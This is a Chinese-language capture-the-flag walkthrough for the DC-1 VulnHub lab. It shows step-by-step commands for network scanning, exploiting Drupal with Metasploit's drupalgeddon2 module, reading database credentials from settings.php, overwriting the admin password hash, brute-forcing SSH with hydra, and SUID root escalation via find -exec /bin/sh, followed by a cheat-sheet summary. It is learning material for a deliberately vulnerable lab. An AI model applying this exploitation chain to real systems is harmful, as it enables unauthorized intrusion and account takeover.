DC 靶场系列
DC1,开始逐渐打靶,加油加油
# 一、环境搭建
# 准备工具
kali
DC-1 靶机
# 靶机下载地址
- DC-1.zip (Size: 733 MB)
- Download: http://www.five86.com/downloads/DC-1.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-1.zip
# 安装过程
解压得到 DC-1.ova 文件
用 vmware 虚拟机打开此文件
如提示导入失败,点击重试即可
kali 和靶机得网络连接模式都改为 NAT 模式,不然 kali 扫不出靶机的 ip
# 二、渗透过程
攻击机 (kali) ip:192.168.16.129
靶机 (DC-1) ip:192.168.16.131
# 信息收集
# 探测目标 ip
kali 里面有很多探测目标 ip 的工具,例如本文要讲的 arp-scan、netdiscover、nmap
arp-scan
arp-scan -l |
可以很明显的看到一个可疑的 .131
ip 很可能就是我们的靶机,
我们可以查看靶机的 mac 地址,与我们探测出来的 mac 地址一样
netdiscover
netdiscover |
nmap
nmap -sP 192.168.16.0/24 |
ip 后面改为 0/24,是因为这里的 192.168.16.0/24 表示的是这个网段的 ip 地址从 192.168.16.1 开始,到 192.168.16.254 结束(192.168.16.0 和 192.168.16.255 有特殊含义不能当做 ip 地址),子网掩码为 255.255.255.0
# 探测目标端口
用 nmap
来检测
nmap -sV 192.168.16.131 -p- --open |
-sV 扫描目标主机端口并显示相关信息
-p- 扫描所有端口 0-65535
--open 只显示已开启的端口
我们的突破口在 22
80
,因为 80
是 http 协议,所以我们用浏览器打开
如不能打开,更改 C:\Windows\System32\drivers\etc\hosts 文件
将 192.168.16.131 dc-1 添加进去即可
# 网页信息收集
利用插件 wappalyzer
,可以看到很多网页的信息,看到了眼熟的 CMS Drupal
也可以用 kali 的工具 whatweb
whatweb -v 192.168.16.131 |
我们可以得到以下信息
CMS 是 Drupal
Apache 2.2.22
PHP 5.4.45
# 漏洞查找与利用
# 漏洞查找
都已经知道 cms 是 drupal
网上一搜全是漏洞复现的文章
也可以用 kali 里的 Metasploit
查找 drupal 漏洞
首先 msfconsole
启动该工具
msf6 > search drupal |
可以看到有很多的框架漏洞,这里我们使用等级较高的,日期 18 年
# 漏洞利用
使用 18 年那个漏洞
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2 | |
或 | |
msf6 > use 1 |
然后
show options |
查看漏洞模块参数
Current Setting : 这里是要配置的内容
Required : yes 是必须要配置的,no 是可配可不配
就像上面 RHOSTS 是空着的,所以我们需要将他补上
LHOSTS 本机 ip
RHOSTS 靶机 ip
set RHOSTS 192.168.16.131 |
配置完直接运行即可
run | |
或 | |
exploit |
出现这个就说明我们攻击成功了,接下来我们就可以直接上 shell
# Getshell
# 获取普通 shell
shell |
直接输入 shell 能执行指令,这里输入 ls
可以发现能直接执行
# 获取交互式 shell
这里我们可以利用到 python 的模块,前提是主机里装有 python
python -c 'import pty;pty.spawn("/bin/bash")' |
这样会好看点,可以看到有个 flag1.txt ,这是我们找到的第一个 flag
这里根据 flag1.txt 的提示,查看 CMS 的配置文件,这里我们百度以下 Drupal 的配置文件是什么
配置文件是 settings.php
我们回 kali 里查找
find / -name settings.php |
find 查找指令
/ 根目录
直接去查看配置文件
tac /var/www/sites/default/settings.php |
可以看到 mysql 数据库的账号密码,还有我们的 flag2 暂时没什么用先放着
我们先连接数据库
# 数据库渗透
由上面的账号密码登入
mysql -udbuser -pR0ck3t |
use drupaldb;show tables;
select * from users; | |
select name,pass from users; |
这样只查看 name 和 pass 会方便很多
可以看到这里有网站 admin 的账号密码,但是密码被加密
加密脚本在 /var/www/scripts/password-hash.sh
我们可以将 admin 的密码更改掉
因为加密脚本是 php 写的,所以直接用 php 执行即可
exit; |
先退出 mysql
php /var/www/scripts/password-hash.sh 123456 |
$S$DUfLi3H99AneMTfLKR.T6BuYivB8jczEhAjQemtPtyTo8Hfo4n1Q
我们将 123456
的密文先保存起来
然后返回到 mysql
update users set pass = "$S$DUfLi3H99AneMTfLKR.T6BuYivB8jczEhAjQemtPtyTo8Hfo4n1Q" where name = "admin"; |
这样密码就修改成功了,前往浏览器登陆账号
发现 flag3 ,得到线索,查看 /etc/passwd
文件
这里有个 flag4 的账号,我们通过 ssh 爆破的方式获取密码
# 用户密码爆破
利用 hydra
爆破 flag4 的密码,用 kali 自带的字典
在本机上爆破密码
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz -v ssh://192.168.16.131 |
成功爆破出来,密码 orange,用 kali 连接
ssh flag4@192.168.16.131 |
获取线索,用同样的方法查找在 /root 下的 flag
# Linux 提权
需要用到 SUID 提权,参考以下
简谈 SUID 提权 - FreeBuf 网络安全行业门户
利用 find
命令,找查具有 SUID 权限的可执行二进制文件
find / -perm -u=s 2>/dev/null |
这里我们看到 find
,find 比较常用,所以我们可以执行 root 权限的命令找查文件
find / -name index.php -exec "/bin/sh" \; |
查什么文件不重要(但是必须得是存在的文件)只要格式对了,后面加上 -exec "/bin/sh" ; 就行
可以看到这里我们已经提权成功了,接下来就是查看最后一个 flag 的内容
cd /root | |
ls | |
cat * |
这样就拿到第五个 flag 啦,成功拿到 root 权限,渗透结束
# 三、知识总结
# 主机扫描
arp-scan
arp-scan -l
arp-scan 使用教程
netdiscover
netdiscover
Netdiscover 网络扫描工具
nmap
nmap -sP ip
nmap 详细使用教程
# 信息收集
whatweb
whatweb -v 域名
whatweb 安装使用
扩展插件 wappalyzer
# 漏洞查找及利用
Metasploit
先打开 msf 控制台
msfconsole
然后查找需要的漏洞
search 漏洞名/cms
并且使用模块
use 模块目录/编号
显示模块参数
show options
设置模块参数
set 模块参数名 参数值
#如 set lhost 1.1.1.1
开始攻击
run或exploit
metasploit 渗透测试
# Getshell
使用 MSF
攻击等待主机与目标连接完成后
攻击成功直接进入命令行即可
shell |
获取交互 shell(需要对方主机安装有 python)
python -c 'import pty;pty.spawn("/bin/bash")' |
# 密码爆破与 SSH
Hydra(海德拉)使用详解
以爆破 SSH 为例
hydra -l 指定用户名 -p 指定密码 ssh://目标主机 | |
hydra -L 用户字典 -P 密码字典 ssh://目标主机 |
爆破完后我们可以用 kali 登入
ssh 用户名@目标攻击主机 |
# Linux 系统的 SUID 提权
简谈 SUID 提权
find / -perm -u=s 2>/dev/null |
这句命令的意思是找到 SUID 权限的二进制文件
find /-perm -4000 2>/dev/null 的拆分讲解
然后再用相关指令进行提权。这里以 find 为例(常用)
先 ls 查看当前有什么文件,假设当前目录下有个 123.php,利用有权限的 find
指令搭配 exec
进行提权
find / -name 123.php -exec "/bin/sh" \; |
至此本章结束